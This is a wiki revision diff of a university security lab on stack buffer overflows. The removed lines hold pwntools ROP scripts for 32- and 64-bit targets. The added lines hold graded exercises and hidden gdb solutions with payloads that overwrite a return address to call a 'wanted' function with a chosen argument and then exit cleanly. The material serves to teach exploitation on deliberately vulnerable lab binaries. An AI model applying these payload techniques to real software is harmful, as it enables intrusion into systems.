 +pwndbgstart 
 +22              if (argc == 1) { 
 +... 
 +pwndbgp &buf 
 +$5 = (char (*)[4]) 0xffffd86c 
 +pwndbg> show disable-randomization 
 +Disabling randomization of debuggee'​s virtual address space is on. 
 +pwndbg> set disable-randomization off 
 +pwndbg> start 
 +22              if (argc == 1) { 
 +..
 +pwndbg> p &buf 
 +$6 = (char (*)[4]) 0xffdfba0c 
 +pwndbg> start 
 +22              if (argc == 1) { 
 +... 
 +pwndbg> p &buf 
 +$7 = (char (*)[4]) 0xffe73a5c 
 </​code>​ </​code>​
-<​note>​ +</solution>
-Again, the goal of ROP should be clean the stack and the '​ret'​ should drop on the adress of the next chain piece or next code pointer that we want to access. This is called a ROP chain. +
-</note>+
  
-<spoiler Here is a pwn script to help you with this! (use python3) ​>+=== 05. [15p] Address investigation === 
 + 
 +Restart gdb and run until the beginning of the ''​copy''​ function. 
 + 
 +  * At what address ​is ''​name''​ located? 
 + 
 +  * At what address is the saved return address located? 
 + 
 +  * How many bytes of input do you need in order to overwrite the return address? 
 + 
 +**Hint:** Display stack info using ''​info frame''​. 
 + 
 +<​solution -hidden>
 <​code>​ <​code>​
-from pwn import * 
-import sys 
  
-context.log_level = '​info'​+➜ gdb buggy 
 +... 
 +pwndbg> b copy 
 +Breakpoint 1 at 0x1229: file buggy.c, line 16. 
 +pwndbg> r "​Florin"​ 
 +Starting program: /​home/​student/​appsec/​buggy "​Florin"​ 
 +... 
 +hey, Florin
  
-BIN_name = "./vuln32+Breakpoint 1, copy () at buggy.c:16 
-context.binary ​BIN_name+16              printf("what's ur last name?​\n"​);​ 
 +... 
 +pwndbg> p &name 
 +$1 = (char (*)[12]) 0xffffd834 
 +pwndbg> info frame 
 +Stack level 0, frame at 0xffffd850:​ 
 + eip = 0x80491e0 in copy (buggy.c:​16);​ saved eip = 0x804926a 
 + ​called by frame at 0xffffd880 
 + ​source language c. 
 + ​Arglist at 0xffffd848, args: 
 + ​Locals at 0xffffd848, Previous frame'​s sp is 0xffffd850 
 + Saved registers:​ 
 +  ebp at 0xffffd848, eip at 0xffffd84c 
 +pwndbg> p 0xffffd84c - 0xffffd834 
 +$2 24
  
-#you can use this to extract addresses of the functions +</​code>​ 
-e = ELF(BIN_name) +</​solution>​
-secret_addr = e.symbols['​secret'​] +
-surprise_addr = e.symbols['​surprise'​]+
  
-print('​secret:​ 0x{:​08x}'​.format(secret_addr)) +=== 06[5p] Buffer overflow ===
-print('​surprise:​ 0x{:​08x}'​.format(surprise_addr))+
  
-offset = 44  # sizeof(buf+ sizeof(ebp) == 32 + ?*8 + 4  offset is on the house today :) +We want to overflow the buffer ''​name''​ from the ''​copy()''​ function. Run the program and provide an input so that the program crashes.
-pop_ret_gadget = 0x0  # : pop ebx ; ret # gadget  +
-arg1 = 0x0 +
-arg2 = 0x0+
  
-#ex a piece of chain: ​    ​p32(secret_addr) + p32(pop_ret_gadget) + p32(arg1)+<note tip>
  
-payload = b"​A"​ * offset + p32(secret_addr+ p32(pop_ret_gadget+ p32(arg1+ ...+You can use ''​%%run args < <​(python3 -c '​import sys; sys.stdout.buffer.write(b"​A"​ * N)')%%''​ for stdin redirection directly within GDB! ;) 
 +</​note>​
  
-print(len(payload)) +<note warning>
-print(payload) +
-sys.stdout.buffer.write(payload)+
  
-io = process(BIN_name)+Do not use ''​print''​ in Python for this purpose as some installations ​(especially on Ubuntuuse a default UTF-8 encoding and auto-correct any unknown binary string to a valid sequence.
  
-# gdb.attach(io)+You can test the binary output using **xxd**: ''​python3 -c '... write here ...' | xxd -g 1''​
  
-io.sendline(payload)+</​note>​
  
-# a io.recvline() +=== 07[20p] Call the ''​wanted''​ function ===
-# print(a)+
  
-io.interactive()+We want to create an attack which invokes the ''​wanted''​ functionWhat is the address of this function? 
 + 
 +Adjust the input so that the return address is overwritten with the address of the ''​wanted''​ function. 
 + 
 +<note tip> 
 + 
 +Use ''​objdump -d -M intel buggy''​ to list all the addresses from the binary. Look for the address of the ''​wanted''​ function. 
 + 
 +</​note>​ 
 + 
 +You can see that when using ''​objdump''​ the addresses look weird (short)
 + 
 +<​code>​ 
 + 
 +000011cd <​wanted>:​ 
 +    11cd:       ​55 ​                     push   ebp 
 +    11ce:       89 e5                   ​mov ​   ebp,esp 
 +    11d0:       ​53 ​                     push   ebx 
 +    11d1:       83 ec 04                sub    esp,0x4
  
 </​code>​ </​code>​
-</​spoiler>​ 
  
-== 10. [Bonussame as above but for 64 bit binary ==+They aren't actually real addresses, they are offsets counting the number of bytes from the beginning of the file. 
 + 
 +This happens because the program was compiled as PIC (position independent code). 
 +More details can be found [[https://​codywu2010.wordpress.com/​2014/​11/​29/​about-elf-pie-pic-and-else/​|here]]. 
 + 
 +Recompile the program without PIC and PIE using ''​-fno-pic -no-pie''​ options ​for GCC.
  
-Recompile rop.c prog: 
 <​code>​ <​code>​
- gcc rop.c -o vuln64 -fno-stack-protector -no-pie+ 
 +080491a6 <​wanted>:​ 
 + ​80491a6: ​      ​55 ​                     push   ebp 
 + ​80491a7: ​      89 e5                   ​mov ​   ebp,esp 
 + ​80491a9: ​      83 ec 08                sub    esp,0x8 
 </​code>​ </​code>​
-<spoiler And here is the script to help you: >+ 
 +<solution -hidden>
 <​code>​ <​code>​
-from pwn import * 
-import sys 
  
-context.log_level = 'info'+pwndbg> run "​Florin"​ < <​(python3 -c '​import sys; sys.stdout.buffer.write(b"​A"​ * 24 + b"​\xa6\x91\x04\x08"​)'
 +... 
 +hey, args 
 +what's ur last name? 
 +bye 
 +at least you tried
  
-BIN_name = "./​vuln64"​ +Program received signal SIGSEGV, Segmentation fault.
-context.binary = BIN_name+
  
-e = ELF(BIN_name)+</​code>​ 
 +</​solution>​
  
-secret_addr ​e.symbols['secret'+=== 08. [20p] Calling the ''​wanted'' ​function with the correct arguments ===
-surprise_addr = e.symbols['surprise']+
  
-print('secret: 0x{:08x}'.format(secret_addr)) +The ''​wanted'' ​function takes an argument.
-print('surprise: 0x{:08x}'.format(surprise_addr))+
  
-offset = 40 # sizeof(buf) + sizeof(ebp) == 32 + 8 +Adjust the previous payload so that when calling ''​wanted'',​ the message ''​well done, you're cool!''​ is displayed.
  
-pop_rdi_ret_gadget = 0x0 #: pop rdi ; ret # posibil sa trebuiasca o adresa noua pt gadget ​ +<​solution -hidden> 
-arg1 = 0 +<​code>​
-arg2 = 0+
  
-# here he have another chain piece structure+pwndbg> run "​Florin"​ < <​(python3 -c '​import sys; sys.stdout.buffer.write(b"​A"​ * 24 + b"​\xa6\x91\x04\x08"​ + b"​B"​ * 4 + b"​\xbe\xba\xfe\xca"​)'​) 
 +... 
 +hey, Florin 
 +what's ur last name? 
 +bye 
 +well done, you're cool!
  
-payload = b"​A"​ * offset + p64(pop_rdi_ret_gadget) + p64(arg1) + p64(secret_addr) # + ...+Program received signal SIGSEGV, Segmentation fault.
  
-print(len(payload)) +</​code>​ 
-print(payload) +</​solution>​
-sys.stdout.buffer.write(payload)+
  
-# io remote('<​ip>',​ <​port>​) +=== 09. [20p] Graceful exit ===
-io process(BIN_name)+
  
-# gdb.attach(io)+We can see that even if we call ''​wanted''​ with the correct arguments, the program still crashes.
  
-io.sendline(payload)+Let's remove any trace that we've been thereAdjust the previous ​payload ​so that the program exits without a segmentation fault.
  
-# a = io.recvline() +<note tip>
-# print(a)+
  
-io.interactive()+Can you call another function after ''​wanted''?​
  
 +What would be a great function to call?
 +
 +Where can you get its address from?
 +
 +After finding out the function, look for its address using ''​objdump'',​ you might find something there.
 +
 +</​note>​
 +
 +<​solution -hidden>
 +<​code>​
 +
 +➜ objdump -d -M intel buffovf | grep exit
 +08049080 <​exit@plt>:​
 +...
 +➜ gdb buggy
 +...
 +pwndbg> run "​Florin"​ < <​(python3 -c '​import sys; sys.stdout.buffer.write(b"​A"​ * 24 + b"​\xa6\x91\x04\x08"​ + b"​\x80\x90\x04\x08"​ + b"​\xbe\xba\xfe\xca"​)'​)
 +...
 +hey, Florin
 +what's ur last name?
 +bye
 +well done, you're cool!
 +[Inferior 1 (process 39220) exited normally]
  
 </​code>​ </​code>​
-</spoiler>+</solution>
  
-==== 11. [10p] Feedback ====+<​hidden>​
  
-Please take a minute to fill in the [[https://​forms.gle/​5Lu1mFa63zptk2ox9|feedback form]] for this lab.+=== 10Writing memory ===
  
 +We want to use our new GDB skills to make the application print two times ''​Hello!'',​ even if we run it having ''​AAA''​ as argument.
 +  - Find out the address of the buffer containing the ''​Hello!''​ string.
 +  - Continue the execution until the beginning of the ''​copy''​ function, disassemble the code and go step by step through the assembly instructions until the ''​call''​ instruction (do not execute the call).
 +  - Print the value of the stack pointer. Dump 2 values on the stack. What are the two values representing?​
 +  - Overwrite the second value on the stack with the address of the buffer containing the ''​Hello!''​ string and then continue the execution. What happened?
  
 +<​solution -hidden>
 +<​code>​
 +
 +(gdb) b main
 +Breakpoint 2 at 0x8048483: file buffovf.c, line 16.
 +(gdb) r
 +The program being debugged has been started already.
 +Start it from the beginning? (y or n) y
 +Starting program: /​home/​veronica/​work/​isc/​lab6/​buffovf AAA
 +
 +Breakpoint 2, main (argc=2, argv=0xffffcff4) at buffovf.c:​16
 +16 char buf[] = "​Hello!";​
 +(gdb) p &buf
 +$10 = (char (*)[7]) 0xffffcf39
 +(gdb) c
 +Continuing.
 +Hello!
 +
 +Breakpoint 1, copy (arg=0xffffd20b "​AAA"​) at buffovf.c:​12
 +12   strcpy(buf,​ arg);
 +(gdb) disass
 +Dump of assembler code for function copy:
 +   ​0x08048454 <​+0>:​ push ​  %ebp
 +   ​0x08048455 <​+1>:​ mov ​   %esp,%ebp
 +   ​0x08048457 <​+3>:​ sub ​   $0x18,%esp
 +=> 0x0804845a <​+6>:​ sub ​   $0x8,%esp
 +   ​0x0804845d <​+9>:​ pushl ​ 0x8(%ebp)
 +   ​0x08048460 <​+12>:​ lea ​   -0xd(%ebp),​%eax
 +   ​0x08048463 <​+15>:​ push ​  %eax
 +   ​0x08048464 <​+16>:​ call ​  ​0x8048300 <​strcpy@plt>​
 +   ​0x08048469 <​+21>:​ add ​   $0x10,%esp
 +   ​0x0804846c <​+24>:​ nop
 +   ​0x0804846d <​+25>:​ leave
 +   ​0x0804846e <​+26>:​ ret
 +End of assembler dump.
 +(gdb) si
 +0x0804845d 12  ​ strcpy(buf,​ arg);
 +(gdb) si
 +0x08048460 12  ​ strcpy(buf,​ arg);
 +(gdb) si
 +0x08048463 12  ​ strcpy(buf,​ arg);
 +(gdb) si
 +0x08048464 12  ​ strcpy(buf,​ arg);
 +(gdb) disass
 +Dump of assembler code for function copy:
 +   ​0x08048454 <​+0>:​ push ​  %ebp
 +   ​0x08048455 <​+1>:​ mov ​   %esp,%ebp
 +   ​0x08048457 <​+3>:​ sub ​   $0x18,%esp
 +   ​0x0804845a <​+6>:​ sub ​   $0x8,%esp
 +   ​0x0804845d <​+9>:​ pushl ​ 0x8(%ebp)
 +   ​0x08048460 <​+12>:​ lea ​   -0xd(%ebp),​%eax
 +   ​0x08048463 <​+15>:​ push ​  %eax
 +=> 0x08048464 <​+16>:​ call ​  ​0x8048300 <​strcpy@plt>​
 +   ​0x08048469 <​+21>:​ add ​   $0x10,%esp
 +   ​0x0804846c <​+24>:​ nop
 +   ​0x0804846d <​+25>:​ leave
 +   ​0x0804846e <​+26>:​ ret
 +End of assembler dump.
 +(gdb) p $esp
 +$8 = (void *) 0xffffcef0
 +(gdb) x/2xw 0xffffcef0
 +0xffffcef0:​ 0xffffcf0b 0xffffd20b
 +(gdb) x/s 0xffffd20b
 +0xffffd20b:​ "​AAA"​
 +(gdb) set {int}0xffffcef4=0xffffcf39
 +(gdb) x/2xw 0xffffcef0
 +0xffffcef0:​ 0xffffcf0b 0xffffcf39
 +(gdb) c
 +Continuing.
 +Hello!
 +[Inferior 1 (process 2906) exited normally]
 +
 +</​code>​
 +</​solution>​
 +
 +</​hidden>​
 +
 +=== Feedback ===
 +
 +Please take a minute to fill in the [[https://​forms.gle/​5Lu1mFa63zptk2ox9|feedback form]] for this lab.
  
isc/labs/06.1649664648.txt.gz · Last modified: 2022/04/11 11:10 by horia.stoenescu
CC Attribution-Share Alike 3.0 Unported
www.chimeric.de Valid CSS Driven by DokuWiki do yourself a favour and use a real browser - get firefox!! Recent changes RSS feed Valid XHTML 1.0